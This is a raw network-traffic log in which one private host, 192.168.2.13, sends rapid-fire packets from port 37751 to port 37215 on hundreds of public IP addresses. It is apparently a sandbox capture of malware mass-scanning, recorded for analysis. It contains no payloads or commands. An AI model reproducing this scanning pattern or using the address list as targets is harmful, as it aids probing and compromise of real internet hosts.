Jan 1, 2024 12:51:43.974096060 CET	37751	37215	192.168.2.13	197.46.205.250
Jan 1, 2024 12:51:43.974109888 CET	37751	37215	192.168.2.13	197.187.150.58
Jan 1, 2024 12:51:43.974131107 CET	37751	37215	192.168.2.13	197.148.142.23
Jan 1, 2024 12:51:43.974132061 CET	37751	37215	192.168.2.13	121.231.132.178
Jan 1, 2024 12:51:43.974139929 CET	37751	37215	192.168.2.13	197.194.207.53
Jan 1, 2024 12:51:43.974175930 CET	37751	37215	192.168.2.13	197.170.150.84
Jan 1, 2024 12:51:43.974178076 CET	37751	37215	192.168.2.13	41.70.205.133
Jan 1, 2024 12:51:43.974189997 CET	37751	37215	192.168.2.13	138.148.124.62
Jan 1, 2024 12:51:43.974196911 CET	37751	37215	192.168.2.13	157.152.8.30
Jan 1, 2024 12:51:43.974205971 CET	37751	37215	192.168.2.13	41.42.123.252
Jan 1, 2024 12:51:43.974208117 CET	37751	37215	192.168.2.13	107.171.125.109
Jan 1, 2024 12:51:43.974212885 CET	37751	37215	192.168.2.13	121.23.83.154
Jan 1, 2024 12:51:43.974216938 CET	37751	37215	192.168.2.13	156.26.86.208
Jan 1, 2024 12:51:43.974224091 CET	37751	37215	192.168.2.13	41.84.144.223
Jan 1, 2024 12:51:43.974224091 CET	37751	37215	192.168.2.13	197.186.129.163
Jan 1, 2024 12:51:43.974229097 CET	37751	37215	192.168.2.13	41.35.169.255
Jan 1, 2024 12:51:43.974236965 CET	37751	37215	192.168.2.13	196.232.153.111
Jan 1, 2024 12:51:43.974246025 CET	37751	37215	192.168.2.13	197.86.224.143
Jan 1, 2024 12:51:43.974246025 CET	37751	37215	192.168.2.13	41.39.152.16
Jan 1, 2024 12:51:43.974251986 CET	37751	37215	192.168.2.13	107.115.136.49
Jan 1, 2024 12:51:43.974265099 CET	37751	37215	192.168.2.13	41.35.93.128
Jan 1, 2024 12:51:43.974265099 CET	37751	37215	192.168.2.13	197.161.23.233
Jan 1, 2024 12:51:43.974270105 CET	37751	37215	192.168.2.13	197.252.105.126
Jan 1, 2024 12:51:43.974270105 CET	37751	37215	192.168.2.13	92.113.236.54
Jan 1, 2024 12:51:43.974272013 CET	37751	37215	192.168.2.13	41.203.90.241
Jan 1, 2024 12:51:43.974272013 CET	37751	37215	192.168.2.13	41.240.218.250
Jan 1, 2024 12:51:43.974287033 CET	37751	37215	192.168.2.13	154.89.60.233
Jan 1, 2024 12:51:43.974298954 CET	37751	37215	192.168.2.13	156.208.213.154
Jan 1, 2024 12:51:43.974308014 CET	37751	37215	192.168.2.13	156.44.22.179
Jan 1, 2024 12:51:43.974313974 CET	37751	37215	192.168.2.13	41.48.99.54
Jan 1, 2024 12:51:43.974318981 CET	37751	37215	192.168.2.13	197.234.151.160
Jan 1, 2024 12:51:43.974318981 CET	37751	37215	192.168.2.13	41.236.70.138
Jan 1, 2024 12:51:43.974334955 CET	37751	37215	192.168.2.13	156.182.18.151
Jan 1, 2024 12:51:43.974337101 CET	37751	37215	192.168.2.13	156.132.195.149
Jan 1, 2024 12:51:43.974348068 CET	37751	37215	192.168.2.13	181.114.129.190
Jan 1, 2024 12:51:43.974348068 CET	37751	37215	192.168.2.13	41.120.86.134
Jan 1, 2024 12:51:43.974354029 CET	37751	37215	192.168.2.13	157.234.30.218
Jan 1, 2024 12:51:43.974360943 CET	37751	37215	192.168.2.13	41.216.148.103
Jan 1, 2024 12:51:43.974365950 CET	37751	37215	192.168.2.13	45.190.198.106
Jan 1, 2024 12:51:43.974370003 CET	37751	37215	192.168.2.13	41.163.222.248
Jan 1, 2024 12:51:43.974375010 CET	37751	37215	192.168.2.13	190.44.226.254
Jan 1, 2024 12:51:43.974402905 CET	37751	37215	192.168.2.13	197.111.151.200
Jan 1, 2024 12:51:43.974405050 CET	37751	37215	192.168.2.13	197.84.44.110
Jan 1, 2024 12:51:43.974406004 CET	37751	37215	192.168.2.13	156.166.137.81
Jan 1, 2024 12:51:43.974406004 CET	37751	37215	192.168.2.13	41.61.160.132
Jan 1, 2024 12:51:43.974409103 CET	37751	37215	192.168.2.13	197.103.110.216
Jan 1, 2024 12:51:43.974409103 CET	37751	37215	192.168.2.13	156.18.245.206
Jan 1, 2024 12:51:43.974409103 CET	37751	37215	192.168.2.13	41.185.25.73
Jan 1, 2024 12:51:43.974412918 CET	37751	37215	192.168.2.13	41.202.197.18
Jan 1, 2024 12:51:43.974427938 CET	37751	37215	192.168.2.13	41.116.39.10
Jan 1, 2024 12:51:43.974427938 CET	37751	37215	192.168.2.13	41.51.33.55
Jan 1, 2024 12:51:43.974427938 CET	37751	37215	192.168.2.13	41.104.27.8
Jan 1, 2024 12:51:43.974427938 CET	37751	37215	192.168.2.13	41.246.121.206
Jan 1, 2024 12:51:43.974436998 CET	37751	37215	192.168.2.13	156.36.205.165
Jan 1, 2024 12:51:43.974436998 CET	37751	37215	192.168.2.13	122.253.237.30
Jan 1, 2024 12:51:43.974447966 CET	37751	37215	192.168.2.13	186.99.86.168
Jan 1, 2024 12:51:43.974450111 CET	37751	37215	192.168.2.13	41.112.143.179
Jan 1, 2024 12:51:43.974459887 CET	37751	37215	192.168.2.13	197.11.87.110
Jan 1, 2024 12:51:43.974469900 CET	37751	37215	192.168.2.13	197.225.176.171
Jan 1, 2024 12:51:43.974469900 CET	37751	37215	192.168.2.13	197.113.29.129
Jan 1, 2024 12:51:43.974487066 CET	37751	37215	192.168.2.13	160.98.109.122
Jan 1, 2024 12:51:43.974493027 CET	37751	37215	192.168.2.13	120.250.95.94
Jan 1, 2024 12:51:43.974493027 CET	37751	37215	192.168.2.13	94.50.50.98
Jan 1, 2024 12:51:43.974510908 CET	37751	37215	192.168.2.13	41.217.149.223
Jan 1, 2024 12:51:43.974514961 CET	37751	37215	192.168.2.13	92.9.198.134
Jan 1, 2024 12:51:43.974515915 CET	37751	37215	192.168.2.13	197.204.55.87
Jan 1, 2024 12:51:43.974515915 CET	37751	37215	192.168.2.13	41.83.115.209
Jan 1, 2024 12:51:43.974515915 CET	37751	37215	192.168.2.13	156.82.246.30
Jan 1, 2024 12:51:43.974519014 CET	37751	37215	192.168.2.13	107.171.218.134
Jan 1, 2024 12:51:43.974533081 CET	37751	37215	192.168.2.13	41.133.49.158
Jan 1, 2024 12:51:43.974533081 CET	37751	37215	192.168.2.13	41.223.136.99
Jan 1, 2024 12:51:43.974534035 CET	37751	37215	192.168.2.13	190.214.242.44
Jan 1, 2024 12:51:43.974534988 CET	37751	37215	192.168.2.13	197.49.29.149
Jan 1, 2024 12:51:43.974534988 CET	37751	37215	192.168.2.13	41.88.90.119
Jan 1, 2024 12:51:43.974538088 CET	37751	37215	192.168.2.13	41.135.12.88
Jan 1, 2024 12:51:43.974548101 CET	37751	37215	192.168.2.13	197.113.81.28
Jan 1, 2024 12:51:43.974555016 CET	37751	37215	192.168.2.13	197.251.217.42
Jan 1, 2024 12:51:43.974567890 CET	37751	37215	192.168.2.13	41.76.94.50
Jan 1, 2024 12:51:43.974574089 CET	37751	37215	192.168.2.13	120.92.187.151
Jan 1, 2024 12:51:43.974582911 CET	37751	37215	192.168.2.13	156.151.175.58
Jan 1, 2024 12:51:43.974585056 CET	37751	37215	192.168.2.13	154.219.122.60
Jan 1, 2024 12:51:43.974586010 CET	37751	37215	192.168.2.13	41.28.54.246
Jan 1, 2024 12:51:43.974596024 CET	37751	37215	192.168.2.13	156.253.27.62
Jan 1, 2024 12:51:43.974596024 CET	37751	37215	192.168.2.13	197.212.53.196
Jan 1, 2024 12:51:43.974597931 CET	37751	37215	192.168.2.13	122.226.71.181
Jan 1, 2024 12:51:43.974603891 CET	37751	37215	192.168.2.13	41.182.26.198
Jan 1, 2024 12:51:43.974607944 CET	37751	37215	192.168.2.13	156.32.252.42
Jan 1, 2024 12:51:43.974607944 CET	37751	37215	192.168.2.13	186.178.209.163
Jan 1, 2024 12:51:43.974611044 CET	37751	37215	192.168.2.13	197.39.74.128
Jan 1, 2024 12:51:43.974611044 CET	37751	37215	192.168.2.13	138.241.60.110
Jan 1, 2024 12:51:43.974611044 CET	37751	37215	192.168.2.13	94.191.33.75
Jan 1, 2024 12:51:43.974627972 CET	37751	37215	192.168.2.13	156.251.145.124
Jan 1, 2024 12:51:43.974631071 CET	37751	37215	192.168.2.13	222.173.237.84
Jan 1, 2024 12:51:43.974631071 CET	37751	37215	192.168.2.13	41.80.5.78
Jan 1, 2024 12:51:43.974632025 CET	37751	37215	192.168.2.13	156.182.243.71
Jan 1, 2024 12:51:43.974631071 CET	37751	37215	192.168.2.13	41.38.167.193
Jan 1, 2024 12:51:43.974632025 CET	37751	37215	192.168.2.13	41.41.169.219
Jan 1, 2024 12:51:43.974648952 CET	37751	37215	192.168.2.13	197.80.201.63
Jan 1, 2024 12:51:43.974648952 CET	37751	37215	192.168.2.13	156.244.68.55
Jan 1, 2024 12:51:43.974651098 CET	37751	37215	192.168.2.13	154.135.9.231
Jan 1, 2024 12:51:43.974680901 CET	37751	37215	192.168.2.13	41.100.23.44
Jan 1, 2024 12:51:43.974685907 CET	37751	37215	192.168.2.13	138.169.1.144
Jan 1, 2024 12:51:43.974685907 CET	37751	37215	192.168.2.13	156.16.33.46
Jan 1, 2024 12:51:43.974699020 CET	37751	37215	192.168.2.13	222.84.190.41
Jan 1, 2024 12:51:43.974704027 CET	37751	37215	192.168.2.13	121.100.242.150
Jan 1, 2024 12:51:43.976532936 CET	37751	37215	192.168.2.13	197.68.149.254
Jan 1, 2024 12:51:43.976543903 CET	37751	37215	192.168.2.13	197.85.254.146
Jan 1, 2024 12:51:43.976561069 CET	37751	37215	192.168.2.13	41.163.184.218
Jan 1, 2024 12:51:43.976566076 CET	37751	37215	192.168.2.13	197.129.144.220
Jan 1, 2024 12:51:43.976593971 CET	37751	37215	192.168.2.13	186.9.241.80
Jan 1, 2024 12:51:43.976598024 CET	37751	37215	192.168.2.13	156.51.153.93
Jan 1, 2024 12:51:43.976598024 CET	37751	37215	192.168.2.13	197.3.65.81
Jan 1, 2024 12:51:43.976600885 CET	37751	37215	192.168.2.13	197.254.28.4
Jan 1, 2024 12:51:43.976600885 CET	37751	37215	192.168.2.13	41.25.213.54
Jan 1, 2024 12:51:43.976603031 CET	37751	37215	192.168.2.13	41.132.90.31
Jan 1, 2024 12:51:43.976617098 CET	37751	37215	192.168.2.13	154.162.108.34
Jan 1, 2024 12:51:43.976617098 CET	37751	37215	192.168.2.13	197.24.191.250
Jan 1, 2024 12:51:43.976617098 CET	37751	37215	192.168.2.13	156.14.144.65
Jan 1, 2024 12:51:43.976619959 CET	37751	37215	192.168.2.13	197.199.77.198
Jan 1, 2024 12:51:43.976633072 CET	37751	37215	192.168.2.13	41.124.112.161
Jan 1, 2024 12:51:43.976650953 CET	37751	37215	192.168.2.13	41.146.55.7
Jan 1, 2024 12:51:43.976655006 CET	37751	37215	192.168.2.13	196.146.124.218
Jan 1, 2024 12:51:43.976656914 CET	37751	37215	192.168.2.13	156.86.69.115
Jan 1, 2024 12:51:43.976656914 CET	37751	37215	192.168.2.13	41.223.88.122
Jan 1, 2024 12:51:43.976656914 CET	37751	37215	192.168.2.13	120.93.73.142
Jan 1, 2024 12:51:43.976659060 CET	37751	37215	192.168.2.13	94.198.135.93
Jan 1, 2024 12:51:43.976659060 CET	37751	37215	192.168.2.13	156.114.109.183
Jan 1, 2024 12:51:43.976671934 CET	37751	37215	192.168.2.13	41.255.183.70
Jan 1, 2024 12:51:43.976681948 CET	37751	37215	192.168.2.13	186.195.194.24
Jan 1, 2024 12:51:43.976722002 CET	37751	37215	192.168.2.13	197.77.5.17
Jan 1, 2024 12:51:43.976735115 CET	37751	37215	192.168.2.13	156.73.10.21
Jan 1, 2024 12:51:43.976737022 CET	37751	37215	192.168.2.13	41.195.203.103
Jan 1, 2024 12:51:43.976737022 CET	37751	37215	192.168.2.13	190.126.55.79
Jan 1, 2024 12:51:43.976743937 CET	37751	37215	192.168.2.13	94.213.185.5
Jan 1, 2024 12:51:43.976744890 CET	37751	37215	192.168.2.13	156.158.3.110
Jan 1, 2024 12:51:43.976743937 CET	37751	37215	192.168.2.13	154.98.30.81
Jan 1, 2024 12:51:43.976752996 CET	37751	37215	192.168.2.13	156.138.29.159
Jan 1, 2024 12:51:43.976758003 CET	37751	37215	192.168.2.13	160.235.30.47
Jan 1, 2024 12:51:43.976758957 CET	37751	37215	192.168.2.13	107.182.142.253
Jan 1, 2024 12:51:43.976764917 CET	37751	37215	192.168.2.13	107.87.25.27
Jan 1, 2024 12:51:43.976769924 CET	37751	37215	192.168.2.13	41.112.149.108
Jan 1, 2024 12:51:43.976773977 CET	37751	37215	192.168.2.13	41.156.210.140
Jan 1, 2024 12:51:43.976780891 CET	37751	37215	192.168.2.13	197.69.22.83
Jan 1, 2024 12:51:43.976782084 CET	37751	37215	192.168.2.13	156.197.3.106
Jan 1, 2024 12:51:43.976780891 CET	37751	37215	192.168.2.13	197.22.141.244
Jan 1, 2024 12:51:43.976787090 CET	37751	37215	192.168.2.13	197.84.92.228
Jan 1, 2024 12:51:43.976787090 CET	37751	37215	192.168.2.13	41.28.100.124
Jan 1, 2024 12:51:43.976798058 CET	37751	37215	192.168.2.13	107.33.8.49
Jan 1, 2024 12:51:43.976798058 CET	37751	37215	192.168.2.13	121.221.151.110
Jan 1, 2024 12:51:43.976807117 CET	37751	37215	192.168.2.13	197.228.231.103
Jan 1, 2024 12:51:43.976809978 CET	37751	37215	192.168.2.13	186.198.163.134
Jan 1, 2024 12:51:43.976814985 CET	37751	37215	192.168.2.13	156.78.64.193
Jan 1, 2024 12:51:43.976829052 CET	37751	37215	192.168.2.13	41.12.206.109
Jan 1, 2024 12:51:43.976834059 CET	37751	37215	192.168.2.13	156.130.70.16
Jan 1, 2024 12:51:43.976835012 CET	37751	37215	192.168.2.13	222.84.248.228
Jan 1, 2024 12:51:43.976836920 CET	37751	37215	192.168.2.13	197.38.115.211
Jan 1, 2024 12:51:43.976838112 CET	37751	37215	192.168.2.13	41.84.83.163
Jan 1, 2024 12:51:43.976845980 CET	37751	37215	192.168.2.13	92.229.29.195
Jan 1, 2024 12:51:43.976847887 CET	37751	37215	192.168.2.13	41.113.93.74
Jan 1, 2024 12:51:43.976861000 CET	37751	37215	192.168.2.13	197.93.158.117
Jan 1, 2024 12:51:43.976874113 CET	37751	37215	192.168.2.13	156.187.88.85
Jan 1, 2024 12:51:43.976881981 CET	37751	37215	192.168.2.13	41.219.178.59
Jan 1, 2024 12:51:43.976886034 CET	37751	37215	192.168.2.13	156.201.57.105
Jan 1, 2024 12:51:43.976886034 CET	37751	37215	192.168.2.13	156.24.61.200
Jan 1, 2024 12:51:43.976892948 CET	37751	37215	192.168.2.13	41.121.85.112
Jan 1, 2024 12:51:43.976892948 CET	37751	37215	192.168.2.13	197.142.204.25
Jan 1, 2024 12:51:43.976897001 CET	37751	37215	192.168.2.13	41.134.108.70
Jan 1, 2024 12:51:43.976907969 CET	37751	37215	192.168.2.13	41.183.156.225
Jan 1, 2024 12:51:43.976911068 CET	37751	37215	192.168.2.13	41.0.150.63
Jan 1, 2024 12:51:43.976914883 CET	37751	37215	192.168.2.13	156.160.9.122
Jan 1, 2024 12:51:43.976914883 CET	37751	37215	192.168.2.13	122.154.207.88
Jan 1, 2024 12:51:43.976916075 CET	37751	37215	192.168.2.13	154.26.201.181
Jan 1, 2024 12:51:43.976924896 CET	37751	37215	192.168.2.13	156.120.148.246
Jan 1, 2024 12:51:43.976928949 CET	37751	37215	192.168.2.13	102.94.228.248
Jan 1, 2024 12:51:43.976929903 CET	37751	37215	192.168.2.13	41.226.84.16
Jan 1, 2024 12:51:43.976933002 CET	37751	37215	192.168.2.13	156.231.223.93
Jan 1, 2024 12:51:43.976943016 CET	37751	37215	192.168.2.13	196.116.202.254
Jan 1, 2024 12:51:43.976943970 CET	37751	37215	192.168.2.13	197.96.81.35
Jan 1, 2024 12:51:43.976953030 CET	37751	37215	192.168.2.13	45.134.149.67
Jan 1, 2024 12:51:43.976957083 CET	37751	37215	192.168.2.13	41.137.1.254
Jan 1, 2024 12:51:43.976959944 CET	37751	37215	192.168.2.13	154.14.238.8
Jan 1, 2024 12:51:43.976959944 CET	37751	37215	192.168.2.13	156.235.113.135
Jan 1, 2024 12:51:43.976968050 CET	37751	37215	192.168.2.13	190.122.30.5
Jan 1, 2024 12:51:43.976974964 CET	37751	37215	192.168.2.13	197.202.2.151
Jan 1, 2024 12:51:43.976983070 CET	37751	37215	192.168.2.13	41.85.47.103
Jan 1, 2024 12:51:43.976983070 CET	37751	37215	192.168.2.13	197.110.247.254
Jan 1, 2024 12:51:43.976986885 CET	37751	37215	192.168.2.13	157.167.108.96
Jan 1, 2024 12:51:43.976986885 CET	37751	37215	192.168.2.13	156.95.137.232
Jan 1, 2024 12:51:43.976994038 CET	37751	37215	192.168.2.13	94.157.117.40
Jan 1, 2024 12:51:43.977005005 CET	37751	37215	192.168.2.13	190.170.195.81
Jan 1, 2024 12:51:43.977009058 CET	37751	37215	192.168.2.13	197.16.52.223
Jan 1, 2024 12:51:43.977021933 CET	37751	37215	192.168.2.13	156.78.200.242
Jan 1, 2024 12:51:43.977021933 CET	37751	37215	192.168.2.13	102.131.159.4
Jan 1, 2024 12:51:43.977021933 CET	37751	37215	192.168.2.13	41.229.99.105
Jan 1, 2024 12:51:43.977032900 CET	37751	37215	192.168.2.13	41.74.124.28
Jan 1, 2024 12:51:43.977032900 CET	37751	37215	192.168.2.13	156.137.205.51
Jan 1, 2024 12:51:43.977032900 CET	37751	37215	192.168.2.13	41.64.26.57
Jan 1, 2024 12:51:43.977046013 CET	37751	37215	192.168.2.13	197.9.41.119
Jan 1, 2024 12:51:43.977050066 CET	37751	37215	192.168.2.13	186.74.234.148
Jan 1, 2024 12:51:43.977050066 CET	37751	37215	192.168.2.13	41.86.104.209
Jan 1, 2024 12:51:43.977052927 CET	37751	37215	192.168.2.13	94.138.222.156
Jan 1, 2024 12:51:43.977101088 CET	37751	37215	192.168.2.13	156.181.251.59
Jan 1, 2024 12:51:43.977103949 CET	37751	37215	192.168.2.13	160.241.208.49
Jan 1, 2024 12:51:43.977103949 CET	37751	37215	192.168.2.13	156.2.174.133
Jan 1, 2024 12:51:43.977106094 CET	37751	37215	192.168.2.13	95.142.26.82
Jan 1, 2024 12:51:43.977106094 CET	37751	37215	192.168.2.13	196.204.138.132
Jan 1, 2024 12:51:43.977112055 CET	37751	37215	192.168.2.13	138.126.97.235
Jan 1, 2024 12:51:43.977118969 CET	37751	37215	192.168.2.13	107.18.200.129
Jan 1, 2024 12:51:43.977118969 CET	37751	37215	192.168.2.13	37.127.35.182
Jan 1, 2024 12:51:43.977118969 CET	37751	37215	192.168.2.13	41.230.195.36
Jan 1, 2024 12:51:43.977118969 CET	37751	37215	192.168.2.13	156.101.130.194
Jan 1, 2024 12:51:43.977121115 CET	37751	37215	192.168.2.13	196.228.239.181
Jan 1, 2024 12:51:43.977125883 CET	37751	37215	192.168.2.13	160.18.211.128
Jan 1, 2024 12:51:43.977130890 CET	37751	37215	192.168.2.13	41.249.252.138
Jan 1, 2024 12:51:43.977130890 CET	37751	37215	192.168.2.13	156.85.213.76
Jan 1, 2024 12:51:43.977130890 CET	37751	37215	192.168.2.13	197.182.255.90
Jan 1, 2024 12:51:43.977133036 CET	37751	37215	192.168.2.13	186.116.243.189
Jan 1, 2024 12:51:43.977133989 CET	37751	37215	192.168.2.13	154.144.233.119
Jan 1, 2024 12:51:43.977133989 CET	37751	37215	192.168.2.13	41.115.8.255
Jan 1, 2024 12:51:43.977133989 CET	37751	37215	192.168.2.13	41.176.155.254
Jan 1, 2024 12:51:43.977133989 CET	37751	37215	192.168.2.13	94.43.155.88
Jan 1, 2024 12:51:43.977147102 CET	37751	37215	192.168.2.13	102.231.221.49
Jan 1, 2024 12:51:43.977147102 CET	37751	37215	192.168.2.13	41.177.108.127
Jan 1, 2024 12:51:43.977147102 CET	37751	37215	192.168.2.13	156.196.40.100
Jan 1, 2024 12:51:43.977149010 CET	37751	37215	192.168.2.13	197.131.29.102
Jan 1, 2024 12:51:43.977149010 CET	37751	37215	192.168.2.13	92.243.105.208
Jan 1, 2024 12:51:43.977149963 CET	37751	37215	192.168.2.13	156.125.97.234
Jan 1, 2024 12:51:43.977149963 CET	37751	37215	192.168.2.13	197.210.249.50
Jan 1, 2024 12:51:43.977158070 CET	37751	37215	192.168.2.13	197.114.156.202
Jan 1, 2024 12:51:43.977159977 CET	37751	37215	192.168.2.13	122.118.143.8
Jan 1, 2024 12:51:43.977164030 CET	37751	37215	192.168.2.13	41.1.236.62
Jan 1, 2024 12:51:43.977165937 CET	37751	37215	192.168.2.13	190.17.32.140
Jan 1, 2024 12:51:43.977165937 CET	37751	37215	192.168.2.13	197.132.96.130
Jan 1, 2024 12:51:43.977168083 CET	37751	37215	192.168.2.13	41.216.221.49
Jan 1, 2024 12:51:43.977168083 CET	37751	37215	192.168.2.13	120.39.176.34
Jan 1, 2024 12:51:43.977169037 CET	37751	37215	192.168.2.13	107.135.100.225
Jan 1, 2024 12:51:43.977184057 CET	37751	37215	192.168.2.13	156.201.27.28
Jan 1, 2024 12:51:43.977185011 CET	37751	37215	192.168.2.13	41.241.26.44
Jan 1, 2024 12:51:43.977207899 CET	37751	37215	192.168.2.13	41.196.175.45
Jan 1, 2024 12:51:43.977210045 CET	37751	37215	192.168.2.13	156.244.76.221
Jan 1, 2024 12:51:43.977216005 CET	37751	37215	192.168.2.13	122.232.132.70
Jan 1, 2024 12:51:43.977224112 CET	37751	37215	192.168.2.13	156.83.129.104
Jan 1, 2024 12:51:43.977224112 CET	37751	37215	192.168.2.13	197.255.168.99
Jan 1, 2024 12:51:43.977226019 CET	37751	37215	192.168.2.13	156.31.177.120
Jan 1, 2024 12:51:43.977237940 CET	37751	37215	192.168.2.13	156.149.200.13
Jan 1, 2024 12:51:43.977240086 CET	37751	37215	192.168.2.13	41.148.83.211
Jan 1, 2024 12:51:43.977247953 CET	37751	37215	192.168.2.13	107.206.222.84
Jan 1, 2024 12:51:43.977248907 CET	37751	37215	192.168.2.13	156.41.139.117
Jan 1, 2024 12:51:43.977250099 CET	37751	37215	192.168.2.13	197.55.5.20
Jan 1, 2024 12:51:43.977252007 CET	37751	37215	192.168.2.13	156.153.162.221
Jan 1, 2024 12:51:43.977252007 CET	37751	37215	192.168.2.13	41.15.125.115
Jan 1, 2024 12:51:43.977253914 CET	37751	37215	192.168.2.13	95.105.221.62
Jan 1, 2024 12:51:43.977252007 CET	37751	37215	192.168.2.13	197.223.123.100
Jan 1, 2024 12:51:43.977252007 CET	37751	37215	192.168.2.13	197.175.174.0
Jan 1, 2024 12:51:43.977266073 CET	37751	37215	192.168.2.13	45.218.222.250
Jan 1, 2024 12:51:43.977269888 CET	37751	37215	192.168.2.13	197.128.1.189
Jan 1, 2024 12:51:43.977299929 CET	37751	37215	192.168.2.13	197.61.22.37
Jan 1, 2024 12:51:43.977303982 CET	37751	37215	192.168.2.13	197.190.77.77
Jan 1, 2024 12:51:43.977315903 CET	37751	37215	192.168.2.13	197.118.72.93
Jan 1, 2024 12:51:43.977318048 CET	37751	37215	192.168.2.13	156.236.167.83
Jan 1, 2024 12:51:43.977315903 CET	37751	37215	192.168.2.13	92.102.227.60
Jan 1, 2024 12:51:43.977327108 CET	37751	37215	192.168.2.13	197.152.142.130
Jan 1, 2024 12:51:43.977332115 CET	37751	37215	192.168.2.13	41.113.92.239
Jan 1, 2024 12:51:43.977330923 CET	37751	37215	192.168.2.13	41.59.228.77
Jan 1, 2024 12:51:43.977330923 CET	37751	37215	192.168.2.13	92.75.96.119
Jan 1, 2024 12:51:43.977335930 CET	37751	37215	192.168.2.13	197.156.35.179
Jan 1, 2024 12:51:43.977339029 CET	37751	37215	192.168.2.13	95.75.151.3
Jan 1, 2024 12:51:43.977333069 CET	37751	37215	192.168.2.13	45.200.110.138
Jan 1, 2024 12:51:43.977340937 CET	37751	37215	192.168.2.13	197.90.246.90
Jan 1, 2024 12:51:43.977340937 CET	37751	37215	192.168.2.13	156.71.70.10
Jan 1, 2024 12:51:43.977341890 CET	37751	37215	192.168.2.13	197.120.14.134
Jan 1, 2024 12:51:43.977348089 CET	37751	37215	192.168.2.13	197.19.58.192
Jan 1, 2024 12:51:43.977355003 CET	37751	37215	192.168.2.13	41.230.79.165
Jan 1, 2024 12:51:43.977355003 CET	37751	37215	192.168.2.13	107.58.176.142
Jan 1, 2024 12:51:43.977355003 CET	37751	37215	192.168.2.13	156.153.49.237
Jan 1, 2024 12:51:43.977355957 CET	37751	37215	192.168.2.13	156.251.111.129
Jan 1, 2024 12:51:43.977358103 CET	37751	37215	192.168.2.13	156.146.51.125
Jan 1, 2024 12:51:43.977358103 CET	37751	37215	192.168.2.13	197.238.25.97
Jan 1, 2024 12:51:43.977358103 CET	37751	37215	192.168.2.13	156.42.164.59
Jan 1, 2024 12:51:43.977355957 CET	37751	37215	192.168.2.13	196.23.15.97
Jan 1, 2024 12:51:43.977360964 CET	37751	37215	192.168.2.13	160.193.70.119
Jan 1, 2024 12:51:43.977360964 CET	37751	37215	192.168.2.13	157.92.229.82
Jan 1, 2024 12:51:43.977365017 CET	37751	37215	192.168.2.13	156.66.97.207
Jan 1, 2024 12:51:43.977368116 CET	37751	37215	192.168.2.13	45.243.33.69
Jan 1, 2024 12:51:43.977376938 CET	37751	37215	192.168.2.13	190.132.81.182
Jan 1, 2024 12:51:43.977380991 CET	37751	37215	192.168.2.13	197.33.238.196
Jan 1, 2024 12:51:43.977385044 CET	37751	37215	192.168.2.13	37.87.65.105
Jan 1, 2024 12:51:43.977386951 CET	37751	37215	192.168.2.13	156.192.121.113
Jan 1, 2024 12:51:43.977390051 CET	37751	37215	192.168.2.13	156.187.48.31
Jan 1, 2024 12:51:43.977391005 CET	37751	37215	192.168.2.13	197.157.142.174
Jan 1, 2024 12:51:43.977399111 CET	37751	37215	192.168.2.13	156.60.193.73
Jan 1, 2024 12:51:43.977406025 CET	37751	37215	192.168.2.13	197.152.2.123
Jan 1, 2024 12:51:43.977412939 CET	37751	37215	192.168.2.13	156.4.149.124
Jan 1, 2024 12:51:43.977415085 CET	37751	37215	192.168.2.13	156.100.78.7
Jan 1, 2024 12:51:43.977415085 CET	37751	37215	192.168.2.13	156.87.12.170
Jan 1, 2024 12:51:43.977422953 CET	37751	37215	192.168.2.13	156.117.8.93
Jan 1, 2024 12:51:43.977422953 CET	37751	37215	192.168.2.13	120.88.160.169
Jan 1, 2024 12:51:43.977427959 CET	37751	37215	192.168.2.13	197.252.64.243
Jan 1, 2024 12:51:43.977428913 CET	37751	37215	192.168.2.13	157.161.151.207
Jan 1, 2024 12:51:43.977427959 CET	37751	37215	192.168.2.13	197.224.185.64
Jan 1, 2024 12:51:43.977437973 CET	37751	37215	192.168.2.13	156.178.50.54
Jan 1, 2024 12:51:43.977437973 CET	37751	37215	192.168.2.13	156.139.138.60
Jan 1, 2024 12:51:43.977456093 CET	37751	37215	192.168.2.13	156.100.130.171
Jan 1, 2024 12:51:43.977459908 CET	37751	37215	192.168.2.13	181.77.1.186
Jan 1, 2024 12:51:43.977464914 CET	37751	37215	192.168.2.13	160.62.112.203
Jan 1, 2024 12:51:43.977469921 CET	37751	37215	192.168.2.13	197.116.198.2
Jan 1, 2024 12:51:43.977471113 CET	37751	37215	192.168.2.13	156.250.6.108
Jan 1, 2024 12:51:43.977477074 CET	37751	37215	192.168.2.13	41.212.2.96
Jan 1, 2024 12:51:43.977477074 CET	37751	37215	192.168.2.13	197.8.80.113
Jan 1, 2024 12:51:43.977480888 CET	37751	37215	192.168.2.13	120.246.131.218
Jan 1, 2024 12:51:43.977492094 CET	37751	37215	192.168.2.13	222.60.170.240
Jan 1, 2024 12:51:43.977492094 CET	37751	37215	192.168.2.13	156.99.88.255
Jan 1, 2024 12:51:43.977498055 CET	37751	37215	192.168.2.13	95.37.225.59
Jan 1, 2024 12:51:43.977499008 CET	37751	37215	192.168.2.13	41.24.206.3
Jan 1, 2024 12:51:43.977504969 CET	37751	37215	192.168.2.13	156.3.199.190
Jan 1, 2024 12:51:43.977507114 CET	37751	37215	192.168.2.13	41.168.144.220
Jan 1, 2024 12:51:43.977511883 CET	37751	37215	192.168.2.13	41.250.17.169
Jan 1, 2024 12:51:43.977515936 CET	37751	37215	192.168.2.13	92.149.131.210
Jan 1, 2024 12:51:43.977531910 CET	37751	37215	192.168.2.13	156.209.7.234
Jan 1, 2024 12:51:43.977531910 CET	37751	37215	192.168.2.13	41.247.150.108
Jan 1, 2024 12:51:43.977535963 CET	37751	37215	192.168.2.13	197.49.134.108
Jan 1, 2024 12:51:43.977636099 CET	37751	37215	192.168.2.13	197.25.34.152
Jan 1, 2024 12:51:43.977642059 CET	37751	37215	192.168.2.13	156.41.93.158
Jan 1, 2024 12:51:43.977643013 CET	37751	37215	192.168.2.13	157.4.34.131
Jan 1, 2024 12:51:43.977650881 CET	37751	37215	192.168.2.13	41.214.162.12
Jan 1, 2024 12:51:43.977658033 CET	37751	37215	192.168.2.13	107.5.167.8
Jan 1, 2024 12:51:43.977659941 CET	37751	37215	192.168.2.13	41.247.99.213
Jan 1, 2024 12:51:43.977669001 CET	37751	37215	192.168.2.13	197.35.93.33
Jan 1, 2024 12:51:43.977684021 CET	37751	37215	192.168.2.13	156.102.238.136
Jan 1, 2024 12:51:43.977694988 CET	37751	37215	192.168.2.13	138.57.51.179
Jan 1, 2024 12:51:43.977698088 CET	37751	37215	192.168.2.13	41.32.174.13
Jan 1, 2024 12:51:43.977698088 CET	37751	37215	192.168.2.13	197.106.194.242
Jan 1, 2024 12:51:43.977699041 CET	37751	37215	192.168.2.13	156.35.105.168
